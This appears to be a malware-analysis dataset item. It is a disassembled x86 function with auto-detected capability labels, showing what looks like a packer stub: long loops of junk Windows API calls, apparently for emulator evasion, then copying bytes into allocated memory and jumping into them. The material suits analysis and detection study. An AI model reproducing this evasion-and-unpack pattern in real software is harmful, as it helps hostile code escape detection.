Function at 0x406e21
Capabilities:
Create directory
Delete directory
Get common file path
Get disk information
Get geographical location
Terminate process

Disassembly:
mov eax, 0x417088
call fcn.0040964c
mov eax, 0x28bc
call fcn.00409a70
mov ecx, dword [0x7145d4]
push esi
push edi
cmp ecx, 0x93
jne 0x406eb1
xor eax, eax
lock bts dword [eax], 0
xor esi, esi
lea eax, [ebp - 0x4c8]
push esi
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
lea eax, [ebp - 0xcc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push 0x401154
push esi
call fcn.00409067
push esi
call fcn.00408d04
movss xmm0, dword [0x401270]
add esp, 0xc
cvtps2pd xmm0, xmm0
push esi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.004093fd
add esp, 0xc
fstp st(0)
push esi
call fcn.00408ce3
mov eax, dword [0x434c68]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x7145dc], eax
push esi
mov dword [0x7145d4], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x7145d8], eax
call fcn.004073ec
mov edi, 0x29156e
push esi
lea eax, [ebp - 0xcc8]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x406ee0
mov edx, dword [0x7145d4]
mov edi, esi
test edx, edx
je 0x406f4e
mov eax, dword [0x7145dc]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x7145d8]
mov byte [eax + edi], cl
mov edx, dword [0x7145d4]
cmp edx, 0x490
jne 0x406f49
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0x7145d4]
inc edi
cmp edi, edx
jb 0x406efd
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x406fe0
push 0x401158
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x4c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetClassInfoA]
push esi
call dword [sym.imp.USER32.dll_CharLowerA]
push esi
lea eax, [ebp - 0x20c8]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x18c8]
push eax
push 0x401184
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
lea eax, [ebp - 0x28c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov edx, dword [0x7145d4]
inc edi
cmp edi, 0x38681
jl 0x406f50
mov ecx, dword [0x7145d8]
push 0x42d520
call fcn.004073a8
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x40701d
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0x3fdf
mov eax, dword [ebp - 0x10]
add dword [0x7145d8], eax
inc edi
cmp edi, 0x674db
jl 0x406fff
push 0x7b
pop edi
cmp dword [0x7145d4], 0x86
jne 0x40706f
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
lea eax, [ebp - 0x10c8]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
dec edi
jne 0x407029
push 0x401098
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x7145d8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret